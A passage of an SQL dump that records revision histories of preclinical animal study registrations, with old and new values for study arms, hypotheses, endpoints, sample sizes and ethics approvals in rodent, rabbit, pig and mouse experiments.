brain ischemia\"},{\"type\":\"intervention\",\"number\":\"30 rabbits\",\"intervention\":\"Development of HPLC methodics of ethilmethylhyproxipiridine succinate, fabomotizole and omberacetam quantitative analyzis in blood plasma of rabbits\"},{\"type\":\"intervention\",\"number\":\"56 rabbits\",\"intervention\":\"Analysis of ethilmethylhyproxipiridine succinate, fabomotizole and omberacetam belonging to P-glycoprotein substrates and modulators\"}],\"new_value\":[{\"type\":\"sham\",\"number\":\"6 rats\",\"intervention\":\"chronic brain ischemia (rats mortality and neurological deficiency)\"},{\"type\":\"control\",\"number\":\"14 rats\",\"intervention\":\"chronic brain ischemia (rats mortality and neurological deficiency)\"},{\"type\":\"intervention\",\"number\":\"13 rats\",\"intervention\":\"chronic brain ischemia and nimodipine administration (rats mortality and neurological deficiency)\"},{\"type\":\"intervention\",\"number\":\"11 rats\",\"intervention\":\"chronic brain ischemia and omeprazol administration (rats mortality and neurological deficiency)\"},{\"type\":\"intervention\",\"number\":\"16 rats\",\"intervention\":\"chronic brain ischemia and omeprazol+nimodipine administration (rats mortality and neurological deficiency)\"},{\"type\":\"other\",\"number\":\"120 rats\",\"intervention\":\"Development of methodics of P-glycoprotein activity in BBB analyses (fexofenadine single i\\/v administration alone and with P-glycoprotein inductor - rifampicin and two P-glycoprotein inhibitors - verapamil and omeprazol) and its concentration in brain analyses)\"},{\"type\":\"intervention\",\"number\":\"60 rats\",\"intervention\":\"Analyses of expediency to Inhibit P-glycoprotein activity in BBB in order to improve the results of neuroprotective pharmacotherapy of acute cerebrovascular accident (fexofenadine single i\\/v administration alone andwith P-glycoprotein inhibitor - omeprazol in the moment of reperfusion of the middle cerebral artery; infarct area calculation)\"},{\"type\":\"intervention\",\"number\":\"60 rats\",\"intervention\":\"Analyses of P-glycoprotein functioning during chronic brain ischemia (6 time-points after bilateral common carotid artery occlusion, 5 rats for every time-point for P-glycoprotein quantity analyses in brain cortex; 30 rats to assess the level of transcriptional factors HIF1 and Nrf2)\"},{\"type\":\"intervention\",\"number\":\"58 rats\",\"intervention\":\"Analyses of P-glycoprotein functioning during acute brain ischemia (30 rats to assess P-glycoprotein functional activity in BBB; 13 rats - permeability of BBB; 15 rats to assess the level of transcriptional factors HIF1 and Nrf2 \"},{\"type\":\"intervention\",\"number\":\"30 rabbits\",\"intervention\":\"Development of HPLC methodics of ethilmethylhyproxipiridine succinate, fabomotizole and omberacetam quantitative analyzis in blood plasma of rabbits\"},{\"type\":\"intervention\",\"number\":\"56 rabbits\",\"intervention\":\"Analysis of ethilmethylhyproxipiridine succinate, fabomotizole and omberacetam belonging to P-glycoprotein substrates and modulators\"}]},{\"key\":\"primary_readout_parameter\",\"old_value\":\"Safety: Belonging of modern neuroprotective drugs to P-glycoprotein substrates and modulators of its activity\",\"new_value\":\"Safety: Size of infarct area of rats brain after middle cerebral artery occlusion-reperfusion (ImageJ programm); rats mortality after bilateral common carotid artery occlusion (observation for 72 hours); rats neurological deficiency after bilateral common carotid artery occlusion (McGrow scale); belonging of modern neuroprotective drugs to P-glycoprotein substrates (neuroprotective drugs pharmacokinetics after their single oral administration after the course administration of known P-glycoprotein inhibitor and inductor; high performance liquid chromatography - HPLC); P-glycoprotein functional activity in blood-brain (BBB) barrier of rats during middle cerebral artery occlusion-reperfusion or bilateral common carotid artery occlusion (level of marker substrate of P-glycoprotein - fexofenadine accumulation in brain tissue after its single i\\/v administration; HPLC); P-glycoprotein functional activity in the intestine of rabbits after neuroprotective drugs admanistration (pharmacokinetics of marker substrate of P-glycoprotein - fexofenadine after its single oral administration; HPLC). The additional information about the first 5 groups: nimodipine is neuroprotective drug which is P-glycoprotein substrate, omeprazol is P-glycoprotein inhibitor without neuroprotective activity, their combination possibly improves the results of rats therapy after middle cerebral artery occlusion-reperfusion. The endpoint here is the size of infarct area of rats.\"},{\"key\":\"secondary_readout_parameter\",\"old_value\":\"Possibility to improve the results of neuroprotective pharmacotherapy of cerebrovascular accidents by P-glycoprotein pharmacological inhibition\",\"new_value\":\"Possibility to improve the results of neuroprotective pharmacotherapy of cerebrovascular accidents by P-glycoprotein pharmacological inhibition (inprovement of neuroprotective pharmacotherapy efficiency after combination of the neuroprotective drug-substrate of P-glycoprotein with P-glycoprotein inhibitor)\"},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"sample size 6, power of 0.9, alpha of 0.05\",\"new_value\":\"Power of 80, alpha of 0.05, expected difference - more then 20%; no drop-outs anticipated. According to our previous expirience necessary number of rabbits to assess the possible effect of drugs on P-glycoprotein functional activity in the intestine is 6. Number of rabbits to analyse the belonging of neuroprotective drugs to P-glycoprotein substrates is 12 because both inhibitor and inductor are used (omberacetam is an exeption because the HPLC methodics sensetivity). Number of rats to asses the activity of P-glycoprotein in the BBB is 30 for every group because we have used 6 time-points after fexofenadine i\\/v administration and 5 rats for every time-point. When assess P-glycoprotein chronic brain ischemia for every time-poin also 5 rats were used.\"},{\"key\":\"contact_role\",\"old_value\":\"\",\"new_value\":\"research group supervisor\"}]','2020-07-14 10:24:27','2020-07-14 10:24:27'),
	(182,191,'[{\"key\":\"experimental_design\",\"old_value\":\"Albino \",\"new_value\":\"Rats\"},{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"control\",\"number\":\"20\",\"intervention\":\"\"},{\"type\":\"intervention\",\"number\":\"20\",\"intervention\":\"\"},{\"type\":\"other\",\"number\":\"20\",\"intervention\":\"\"}],\"new_value\":[{\"type\":\"control\",\"number\":\"20\",\"intervention\":\"Groups given only water and feed and left for 7 d, 14 d, 21 d and 28 d\"},{\"type\":\"other\",\"number\":\"20\",\"intervention\":\"Problem groups- groups injected carbon tetrachloride only and left to stay for 7 d, 14 d, 21 d and 28 d\"},{\"type\":\"other\",\"number\":\"120\",\"intervention\":\"Intervention groups: groups treated with Sida corymbosa ethanolic leaf extract at 5000, 3000 and 1000 mg\\/kgbw for7 d, 14 d, 21 d and 28 d before and after injecting carbon tetrachloride\"}]},{\"key\":\"hypothesis\",\"old_value\":\"The protective and curative effects of Sida corymbosa extract on rats administered carbon tetrachloride\\r\\n\\r\\nHypothesis: The plants extract  improves lipid profile in rats\\nThe reatment is dependent on concentration\",\"new_value\":\"The protective and curative effects of Sida corymbosa extract against atherosclerosis in rats by carbon tetrachloride\\r\\n\\r\\nHypothesis: The plants extract  improves lipid profile in rats\\nThe treatment is dependent on concentration\"},{\"key\":\"hypothesis\",\"old_value\":\"Hypothesis: The plants extract  improves lipid profile in rats\\nThe reatment is dependent on concentration\",\"new_value\":\"Hypothesis: The plants extract  improves lipid profile in rats\\nThe treatment is dependent on concentration\"},{\"key\":\"primary_readout_parameter\",\"old_value\":\"Efficacy: Serum total cholesterol, High density lipoprotein, low density lipoprotein and triglycerides were measured\",\"new_value\":\"Efficacy: Serum total cholesterol, High density lipoprotein, low density lipoprotein and triglycerides were measured for 4 weeks\"}]','2020-07-16 13:00:15','2020-07-16 13:00:15'),
	(183,191,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"control\",\"number\":\"20\",\"intervention\":\"Groups given only water and feed and left for 7 d, 14 d, 21 d and 28 d\"},{\"type\":\"other\",\"number\":\"20\",\"intervention\":\"Problem groups- groups injected carbon tetrachloride only and left to stay for 7 d, 14 d, 21 d and 28 d\"},{\"type\":\"other\",\"number\":\"120\",\"intervention\":\"Intervention groups: groups treated with Sida corymbosa ethanolic leaf extract at 5000, 3000 and 1000 mg\\/kgbw for7 d, 14 d, 21 d and 28 d before and after injecting carbon tetrachloride\"}],\"new_value\":[{\"type\":\"control\",\"number\":\"20\",\"intervention\":\"Groups given only water and feed and left from 7 to 28 d\"},{\"type\":\"other\",\"number\":\"20\",\"intervention\":\"Problem groups- groups injected carbon tetrachloride only and left to stay for 7 to 28 d\"},{\"type\":\"other\",\"number\":\"120\",\"intervention\":\"Intervention groups: groups treated with Sida corymbosa ethanolic leaf extract at 5000, 3000 and 1000 mg\\/kgbw from 7 to 28 d each before and after injecting carbon tetrachloride\"}]}]','2020-07-21 00:02:29','2020-07-21 00:02:29'),
	(184,201,'[{\"key\":\"hypothesis\",\"old_value\":\"Electrolyte imbalance\\r\\n\\r\\nSida corymbosa ethanolic leaf extract affects serum electrolyte of rats injected Carbon tetrachloride in a docse and time dependent manner\",\"new_value\":\"Electrolyte imbalance\\r\\n\\r\\nSida corymbosa ethanolic leaf extract affects serum electrolyte of rats injected Carbon tetrachloride in a dose and time dependent manner. Carbon tetrachloride was injected daily for 3 d.\"},{\"key\":\"hypothesis\",\"old_value\":\"Sida corymbosa ethanolic leaf extract affects serum electrolyte of rats injected Carbon tetrachloride in a docse and time dependent manner\",\"new_value\":\"Sida corymbosa ethanolic leaf extract affects serum electrolyte of rats injected Carbon tetrachloride in a dose and time dependent manner. Carbon tetrachloride was injected daily for 3 d.\"},{\"key\":\"primary_readout_parameter\",\"old_value\":\"Efficacy: Serum electrolytes such as  Sodium, chloride, potassium and bicarbonate ions shall be measured using serum of rats for 4 weeks\",\"new_value\":\"Efficacy: Serum electrolytes such as  Sodium, chloride, potassium and bicarbonate ions shall be measured using serum of rats for 4 weeks not on daily bases\"},{\"key\":\"sum_of_animals\",\"old_value\":\"160 rats\",\"new_value\":\"160 rats used because each group contained 5 rats and the study is for both preventive and curative studies\"}]','2020-08-02 00:21:22','2020-08-02 00:21:22'),
	(185,205,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"Group1 :to compare with other groups\"},{\"type\":\"other\",\"number\":\"10\",\"intervention\":\"Group 2:Problem group( group to compare with groups given treatment  with Musa paradisiacae Aqueous pulp and peel extracts for 28 d after injecting Indomethacin)\"},{\"type\":\"intervention\",\"number\":\"40\",\"intervention\":\"Groups 3-6: Treatment groups( groups given Musa paradisiacae Aqueous pulp and peel extracts at 200 mg\\/kgbw for 28 d after injecting indomethacin\"}],\"new_value\":[{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"Group1 :to compare with other groups\"},{\"type\":\"other\",\"number\":\"10\",\"intervention\":\"Group 2:Problem group( group to compare with groups given treatment  with Musa paradisiacae Aqueous pulp and peel extracts for 28 d after injecting Indomethacin)\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Groups 3: Those induced ulcer and given Musa paradisiacae pulp extract for 28 d\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Those given Musa paradisiacae extracts only for 28 d\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Those induced with ulcer and given Musa paradisiacae peel extract\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Those given Musa paradisiacae extracts only\"}]}]','2020-08-11 13:55:54','2020-08-11 13:55:54'),
	(186,206,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"control\",\"number\":\"25\",\"intervention\":\"vehicle combined with radiation\"},{\"type\":\"intervention\",\"number\":\"25\",\"intervention\":\"CP-506 combined with radiation\"}],\"new_value\":[{\"type\":\"control\",\"number\":\"25\",\"intervention\":\"vehicle combined with radiation in tumor model 1\"},{\"type\":\"intervention\",\"number\":\"25\",\"intervention\":\"CP-506 combined with radiation in tumor model 1\"},{\"type\":\"control\",\"number\":\"25\",\"intervention\":\"vehicle combined with radiation in tumor model 2\"},{\"type\":\"intervention\",\"number\":\"25\",\"intervention\":\"CP-506 combined with radiation in tumor model 2\"},{\"type\":\"control\",\"number\":\"25\",\"intervention\":\"vehicle combined with radiation in tumor model 3\"},{\"type\":\"intervention\",\"number\":\"25\",\"intervention\":\"CP-506 combined with radiation in tumor model 3\"}]},{\"key\":\"primary_readout_parameter\",\"old_value\":\"Efficacy: Efficacy is based on local tumor control. Tumor measurements are performed twice a week or once per week when LC has been reached; follow-up time is up to 180 days after irradiation.\",\"new_value\":\"Efficacy: Efficacy will be based on local tumor control. Three-dimensional tumor measurements using a caliper are performed twice a week or once per week when local tumor control has been reached. Recurrence will be scored when the tumour volume increases for three consecutive measurements after passing a nadir; otherwise local control will be scored or animal will be considered censored.\"},{\"key\":\"secondary_readout_parameter\",\"old_value\":\"Time to recurrence. \\nIn parallel to efficacy study tumor hypoxic fraction will be measured before treatment and after CP-506 treatment prior to irradiation in control and experimental group. \",\"new_value\":\"Time to recurrence. \\nIn parallel to efficacy study tumor hypoxic fraction will be measured using hypoxia marker pimonidazole before treatment and after CP-506 treatment prior to irradiation in control and experimental group. \"},{\"key\":\"sum_of_animals\",\"old_value\":\"Efficacy study: 50 mice per tumor model, 3 tumor models\",\"new_value\":\"To test therapeutic efficacy of the experimental treatment, we will use 3 different tumor models. For each tumor model we will use 50 mice. In total we will use 150 animals.\"}]','2020-08-19 19:00:51','2020-08-19 19:00:51'),
	(187,207,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"control\",\"number\":\"96\",\"intervention\":\"vehicle combined with fractionated RT (8 dose groups)\"},{\"type\":\"intervention\",\"number\":\"96\",\"intervention\":\"CP-506 combined with fractionated RT (8 dose groups)\"}],\"new_value\":[{\"type\":\"control\",\"number\":\"96\",\"intervention\":\"vehicle combined with fractionated RT (8 radiation dose groups)\"},{\"type\":\"intervention\",\"number\":\"96\",\"intervention\":\"CP-506 combined with fractionated RT (8 radiation dose groups)\"}]},{\"key\":\"primary_readout_parameter\",\"old_value\":\"Efficacy: efficacy is based on TCD50 (radiation dose to cure 50% of tumors)\",\"new_value\":\"Efficacy: Efficacy is based on TCD50 (radiation dose to cure 50% of tumors). To determine TCD50, animals will be randomized across 8 different radiation dose groups combined with vehicle or CP-506. For each animal, after the end of treatment recurrence will be scored when the tumour volume increases for three consecutive measurements after passing a nadir; otherwise local control will be scored or animal will be considered censored. To determine tumor volume, three-dimensional tumor measurements using a caliper will be performed twice a week or once per week when local tumor control has been reached for 150 days after the end of treatment. The categorical outcome data (0 - local control, 1 - local recurrence) will be fit to logistic regression with radiation dose as a variable and TCD50 will be calculated for control and experimental group. It is expected that TCD50 after irradiation with CP-506 will be significantly lower than in control group. \\n\"},{\"key\":\"secondary_readout_parameter\",\"old_value\":\"Time to recurrence.\\nIn parallel to efficacy study tumor hypoxic fraction will be measured before treatment and in the first week of fractionated RT. \",\"new_value\":\"Time to recurrence. Cox proportional hazards model will be used to fit the data with radiation dose (continuous) and treatment group (categorical) as variables.\\nIn parallel to efficacy study, tumor hypoxic fraction using pimonidazole hypoxia marker will be measured before treatment and in the first week of fractionated RT. \"},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"Maximum-Likelihood-Analysis, Likelihood-Ratio-Test (Logit-Model)\",\"new_value\":\"The sample size was calculated in advance using Maximum-Likelihood-Analysis, Likelihood-Ratio-Test (Logit-Model),\\n\\u03b1 = 0,05; 8 radiation dose groups; expected difference: 20%; Power = 85%, drop-outs: n=2 per radiation dose group\"},{\"key\":\"sum_of_animals\",\"old_value\":\"\\u03b1 = 0,05; 8 radiation dose groups; relevant difference: 20%; Power = 85%\",\"new_value\":\"160 animals\"}]','2020-08-19 21:21:05','2020-08-19 21:21:05'),
	(188,207,'[{\"key\":\"hypothesis\",\"old_value\":\"cancer\\r\\n\\r\\nCP-506 improves TCD50 (dose to control 50% of tumors) after fractionated radiotherapy with 30 fractions over 6 weeks\",\"new_value\":\"cancer\\r\\n\\r\\nCP-506 reduces TCD50 (dose to control 50% of tumors) after fractionated radiotherapy with 30 fractions over 6 weeks\"},{\"key\":\"hypothesis\",\"old_value\":\"CP-506 improves TCD50 (dose to control 50% of tumors) after fractionated radiotherapy with 30 fractions over 6 weeks\",\"new_value\":\"CP-506 reduces TCD50 (dose to control 50% of tumors) after fractionated radiotherapy with 30 fractions over 6 weeks\"},{\"key\":\"sum_of_animals\",\"old_value\":\"160 animals\",\"new_value\":\"192 animals\"}]','2020-08-19 21:57:30','2020-08-19 21:57:30'),
	(189,206,'[{\"key\":\"primary_readout_parameter\",\"old_value\":\"Efficacy: Efficacy will be based on local tumor control. Three-dimensional tumor measurements using a caliper are performed twice a week or once per week when local tumor control has been reached. Recurrence will be scored when the tumour volume increases for three consecutive measurements after passing a nadir; otherwise local control will be scored or animal will be considered censored.\",\"new_value\":\"Efficacy: Efficacy will be based on local tumor control. Recurrence will be scored when the tumor volume increases for three consecutive measurements after passing a nadir; otherwise local control will be scored or animal will be considered censored.Three-dimensional tumor measurements using a caliper will be performed twice a week or once per week when local tumor control has been reached for up to 180 days. It is expected that local control rate in experimental group will be significantly higher than in control group.\"},{\"key\":\"secondary_readout_parameter\",\"old_value\":\"Time to recurrence. \\nIn parallel to efficacy study tumor hypoxic fraction will be measured using hypoxia marker pimonidazole before treatment and after CP-506 treatment prior to irradiation in control and experimental group. \",\"new_value\":\"Time to recurrence. Kaplan-Meier survival analysis will be used to compare treatment groups.\\nIn parallel to efficacy study, tumor hypoxic fraction will be measured using hypoxia marker pimonidazole before treatment and after CP-506 treatment prior to irradiation in control and experimental groups. \"},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"2-sample test for equality of proportions with continuity correction, \\u03b1 = 5%, Power = 80%, p0 = 35%, p1 = 80%\",\"new_value\":\"2-sample test for equality of proportions with continuity correction, \\u03b1 = 5%, Power = 80%, p0 = 35%, p1 = 80%, drop-outs: n=3 per treatment group\"}]','2020-08-19 22:10:11','2020-08-19 22:10:11'),
	(190,198,'[{\"key\":\"link_to_data\",\"old_value\":\"Cerebral collateral therapeutics in acute ischemic stroke: A randomized preclinical trial of four modulation strategies.\\nBeretta S, Versace A, Carone D, Riva M, Dell\'Era V, Cuccione E, Cai R, Monza L, Pirovano S, Padovano G, Stiro F, Presotto L, Patern\\u00f2 G, Rossi E, Giussani C, Sganzerla EP, Ferrarese C.\\nJ Cereb Blood Flow Metab. 2017 Oct;37(10):3344-3354. doi: 10.1177\\/0271678X16688705. Epub 2017 Jan 23.\\nhttps:\\/\\/pubmed.ncbi.nlm.nih.gov\\/28112023\\/\",\"new_value\":\"Cerebral collateral therapeutics in acute ischemic stroke: A randomized preclinical trial of four modulation strategies.\\nBeretta S, Versace A, Carone D, Riva M, Dell\'Era V, Cuccione E, Cai R, Monza L, Pirovano S, Padovano G, Stiro F, Presotto L, Patern\\u00f2 G, Rossi E, Giussani C, Sganzerla EP, Ferrarese C.\\nJ Cereb Blood Flow Metab. 2017 Oct;37(10):3344-3354. doi: 10.1177\\/0271678X16688705. Epub 2017 Jan 23.\\nhttps:\\/\\/pubmed.ncbi.nlm.nih.gov\\/28112023\\/\\n\\nCuccione E, Versace A, Cho T-H, Carone D, Berner L-P, Ong E, Rousseau D, Cai R, Monza L, Ferrarese C, Sganzerla EP, Berthez\\u00e8ne Y, Nighoghossian N, Wiart M, Beretta S, Chauveau F. Multi-site laser Doppler flowmetry for assessing collateral flow in experimental ischemic stroke: Validation of outcome prediction with acute MRI. J Cereb Blood Flow Metab. 2017;37(6):2159-2170.\"},{\"key\":\"original_animal_ethics_committee_application\",\"old_value\":\"\",\"new_value\":\"Comit\\u00e9 d\\u2019\\u00e9thique pour l\\u2019Exp\\u00e9rimentation Animale Neurosciences Lyon (registration code: C2EA-42), project authorization number by the French Ministry of Higher Education and Research 15529-2018061512184831 v2\"}]','2020-08-21 11:36:07','2020-08-21 11:36:07'),
	(191,210,'[{\"key\":\"sample_size_calculation\",\"old_value\":\"yes\",\"new_value\":\"no\"}]','2020-09-18 17:12:17','2020-09-18 17:12:17'),
	(192,212,'[{\"key\":\"sample_size_calculation\",\"old_value\":\"yes\",\"new_value\":\"no\"}]','2020-09-18 17:12:43','2020-09-18 17:12:43'),
	(193,210,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"\",\"number\":\"6\",\"intervention\":\"6week WT sham\"},{\"type\":\"\",\"number\":\"6\",\"intervention\":\"6week WT IRI\"},{\"type\":\"\",\"number\":\"8\",\"intervention\":\"6week KO sham\"},{\"type\":\"\",\"number\":\"12\",\"intervention\":\"6week KO IRI\"},{\"type\":\"\",\"number\":\"5\",\"intervention\":\"3day WT sham\"},{\"type\":\"\",\"number\":\"7\",\"intervention\":\"3day WT IRI\"},{\"type\":\"\",\"number\":\"5\",\"intervention\":\"3day KO sham\"},{\"type\":\"\",\"number\":\"10\",\"intervention\":\"3day KO IRI\"}],\"new_value\":[{\"type\":\"\",\"number\":\"6\",\"intervention\":\"6week WT sham\"},{\"type\":\"\",\"number\":\"6\",\"intervention\":\"6week WT IRI\"},{\"type\":\"\",\"number\":\"8\",\"intervention\":\"6week KO sham\"},{\"type\":\"\",\"number\":\"13\",\"intervention\":\"6week KO IRI\"},{\"type\":\"\",\"number\":\"5\",\"intervention\":\"3day WT sham\"},{\"type\":\"\",\"number\":\"7\",\"intervention\":\"3day WT IRI\"},{\"type\":\"\",\"number\":\"5\",\"intervention\":\"3day KO sham\"},{\"type\":\"\",\"number\":\"10\",\"intervention\":\"3day KO IRI\"}]}]','2020-09-21 08:41:23','2020-09-21 08:41:23'),
	(194,213,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"control\",\"number\":\"40\",\"intervention\":\"\"},{\"type\":\"intervention\",\"number\":\"20\",\"intervention\":\"Patch\"},{\"type\":\"other\",\"number\":\"20\",\"intervention\":\"Inactive patch\"}],\"new_value\":[{\"type\":\"control\",\"number\":\"40\",\"intervention\":\"\"},{\"type\":\"intervention\",\"number\":\"20\",\"intervention\":\"Patch\"},{\"type\":\"intervention\",\"number\":\"20\",\"intervention\":\"Inactive patch\"}]},{\"key\":\"hypothesis\",\"old_value\":\"Postsurgical adhesions\\r\\n\\r\\nNum\",\"new_value\":\"Postsurgical adhesions\\r\\n\\r\\nWe hypothesize that the blood-derived patch is able to prevent or diminish the number of adhesions in a model of abdominal surgery in rats.  \"},{\"key\":\"hypothesis\",\"old_value\":\"Num\",\"new_value\":\"We hypothesize that the blood-derived patch is able to prevent or diminish the number of adhesions in a model of abdominal surgery in rats.  \"},{\"key\":\"primary_readout_parameter\",\"old_value\":\"Feasibility: Number and nature of adhesions after surgery.\",\"new_value\":\"Feasibility: Number and nature of adhesions after surgery. The macroscopic adhesions will be measured according to an objective chart taking into account the nature of the adhesions, how easy\\/hard the adhesions are to separate from the tissue and the distribution of the adhesions and\\/or involvement of other organs. Furthermore the adhesions and the damaged uterine horn are examined by a pathologist also according to an obejctive chart describing fibrosis, inflammation and microscopic adhesions.\"},{\"key\":\"details_randomisation\",\"old_value\":\"block_randomisation\",\"new_value\":\"simple_randomisation\"},{\"key\":\"sum_of_animals\",\"old_value\":\"40\",\"new_value\":\"40 rats. Every rat has two uterine horns, so the actual &quot;n&quot; will be 80. Every group has 20 uterine horns that are treated and 20 uterine horns that serve as control. Therefore the number of rats are 40, but n = 80.\"}]','2020-10-05 08:44:17','2020-10-05 08:44:17'),
	(195,193,'[{\"key\":\"investigators_blinded_intervention\",\"old_value\":\"yes\",\"new_value\":\"yes_partially\"},{\"key\":\"end_date\",\"old_value\":\"2021-03-01\",\"new_value\":\"2020-08-31\"},{\"key\":\"secondary_readout_parameter\",\"old_value\":\"Secondary endpoints will include survival, differences in arterial blood pressure, differences in carotid blood flow, differences in exhaled CO2, differences in tidal volume delivery, differences in injury markers (i.e., Interleukin-1, Interleukin-6, Interleukin-8, TNF-alpha)\",\"new_value\":\"Secondary endpoints will include survival, differences in arterial blood pressure, differences in carotid blood flow, differences in exhaled CO2, differences in tidal volume delivery\"},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"Our primary outcome measure will be time to achieve ROSC. Our previous studies showed a mean (standard deviation) time to ROSC of 120 (25) secs during CPR using CC+SI. We hypothesized that using a CC depth of 40% would reduce time to achieve ROSC. A sample size of 32 piglets (8 per group) will be sufficient to detect a clinically important (20%) reduction in time to achieve ROSC (i.e., 96 sec vs. 120 sec), with 80% power and a 2-tailed alpha error of 0.05.\",\"new_value\":\"Our primary outcome measure will be time to achieve ROSC. Our previous studies showed a mean (standard deviation) return of spontaneous circulation of 220(25) sec during CC with 1\\/3 AP diameter depth. We hypothesize that 40% AP diameter depth during CCs would reduce time to achieve ROSC. A sample size of 32 piglets (8 per group) was sufficient to detect a clinically important (20%) reduction in time to achieve ROSC (i.e., 96sec vs. 120sec) with 90% power and a 2-tailed alpha error of 0.05.\"},{\"key\":\"study_status\",\"old_value\":\"active\",\"new_value\":\"completed_but_not_published\"}]','2020-10-21 22:48:04','2020-10-21 22:48:04'),
	(196,200,'[{\"key\":\"experimental_design\",\"old_value\":\"Porcine animal model of acute myocardial infarction (AMI) and ischaemia-reperfusion injury (I\\/R) induced by the obliteration of the left coronary descending artery via balloon occlusion technique\",\"new_value\":\"Porcine animal model of acute myocardial infarction (AMI) induced by the obliteration of the left coronary descending artery via balloon occlusion technique.\"},{\"key\":\"primary_readout_parameter\",\"old_value\":\"Feasibility: The primary endpoint of this pilot is defined as survival rate of animals included in our study derived from: the induction of the myocardial infarction, the acute intramyocardial administration of the hydrogel and the mechanical compression that the hydrogel exerts within the myocardium. This assessment will be based on electrocardiography monitoring and ventilation parameters.\",\"new_value\":\"Feasibility: The primary endpoint of this pilot is defined as survival rate of animals included in our study derived from: the induction of the myocardial infarction, the acute epicardial administration of the hydrogel and the mechanical compression that the hydrogel exerts within the myocardium. This assessment will be based on electrocardiography monitoring and ventilation parameters.\"},{\"key\":\"secondary_readout_parameter\",\"old_value\":\"The secondary endpoint is defined as the occurrence of arrhythmias derived from the administration of the hydrogel (epicardial injections) and the presence of the hydrogel within the left ventricle.\",\"new_value\":\"The secondary endpoint is defined as the occurrence of arrhythmias derived from the administration of the hydrogel (epicardial injections) and the retention of the hydrogel within the left ventricular wall.\"},{\"key\":\"study_status\",\"old_value\":\"not_started\",\"new_value\":\"completed_but_not_published\"},{\"key\":\"sex\",\"old_value\":\"female\",\"new_value\":\"both\"}]','2020-11-17 18:00:57','2020-11-17 18:00:57'),
	(197,218,'[{\"key\":\"link_to_data\",\"old_value\":\"\",\"new_value\":\"No\"},{\"key\":\"secondary_readout_parameter\",\"old_value\":\"\",\"new_value\":\"No\"}]','2020-12-01 09:02:03','2020-12-01 09:02:03'),
	(198,214,'[{\"key\":\"short_title\",\"old_value\":\"ENGL. TITLE: Testing of recombinant mCOL7 proteins and pathogenic IgG to induce experimental epidermolysis bullosa acquisita\",\"new_value\":\"German TITLE (under which the proposal is filed): Testung von rekombinanten mCOL7 Proteinen und pathogenem IgG zur Induktion einer experimentellen Epidermolysis bullosa acquisita\"},{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"control\",\"number\":\"1\",\"intervention\":\"I.d. injection of anti-COL7 antibodies\"},{\"type\":\"control\",\"number\":\"1\",\"intervention\":\"I.p. injection of anti-COL7 antibodies\"},{\"type\":\"control\",\"number\":\"1\",\"intervention\":\"S.c. immunization with COL7\"}],\"new_value\":[{\"type\":\"control\",\"number\":\"150\",\"intervention\":\"I.d. injection of anti-COL7 antibodies\"},{\"type\":\"control\",\"number\":\"270\",\"intervention\":\"I.p. injection of anti-COL7 antibodies\"},{\"type\":\"control\",\"number\":\"132\",\"intervention\":\"S.c. immunization with COL7\"}]},{\"key\":\"sample_size_calculation\",\"old_value\":\"yes\",\"new_value\":\"no\"},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"Proportion of mice with disease\",\"new_value\":\"Descriptive statistics: Proportion of mice with disease\"},{\"key\":\"title\",\"old_value\":\"Testung von rekombinanten mCOL7 Proteinen und pathogenem IgG zur Induktion einer experimentellen Epidermolysis bullosa acquisita\",\"new_value\":\"Testing of recombinant mCOL7 proteins and pathogenic IgG to induce experimental epidermolysis bullosa acquisita\"}]','2021-01-08 14:54:28','2021-01-08 14:54:28'),
	(199,193,'[{\"key\":\"end_date\",\"old_value\":\"2020-08-31\",\"new_value\":\"2021-12-31\"},{\"key\":\"study_centre\",\"old_value\":[{\"name\":\"University of Alberta\",\"city\":\"Edmonton\",\"country\":\"CA\"}],\"new_value\":[{\"name\":\"Medical University Graz\",\"city\":\"Graz\",\"country\":\"AT\"}]},{\"key\":\"start_date\",\"old_value\":\"2020-03-02\",\"new_value\":\"2021-06-01\"},{\"key\":\"study_status\",\"old_value\":\"completed_but_not_published\",\"new_value\":\"not_started\"}]','2021-01-09 13:09:09','2021-01-09 13:09:09'),
	(200,196,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"Two-Thumb Method of CC\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"Two-Finger Method of CC\"}],\"new_value\":[{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"Two-Thumb Method of CC\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"Two-Finger Method of CC\"},{\"type\":\"sham\",\"number\":\"4\",\"intervention\":\"Sham\"}]},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"Our previous studies showed a mean (standard deviation) time to achieve ROSC of 120 (25) seconds using the two-thumb technique. We hypothesize that piglets given CC with the two-thumb method will have a faster time to ROSC than the two-finger method. A sample size of 8 per group will be sufficient to detect a clinically important (20%) reduction in time to achieve ROSC (i.e., 120 sec vs. 150 sec), with 80% power and a 2-tailed alpha error of 0.05.\",\"new_value\":\"Our previous studies showed a mean (standard deviation) time to achieve ROSC of 220 (25) seconds using the two-thumb technique. We hypothesize that piglets given CC with the two-thumb method will have a faster time to ROSC than the two-finger method. A sample size of 8 per group will be sufficient to detect a clinically important (20%) reduction in time to achieve ROSC (i.e., 120 sec vs. 150 sec), with 80% power and a 2-tailed alpha error of 0.05.\"},{\"key\":\"sum_of_animals\",\"old_value\":\"16\",\"new_value\":\"20\"}]','2021-02-03 14:33:19','2021-02-03 14:33:19'),
	(201,220,'[{\"key\":\"secondary_readout_parameter\",\"old_value\":\"Not applicable\",\"new_value\":\"Not applicable.\"}]','2021-02-04 10:08:30','2021-02-04 10:08:30'),
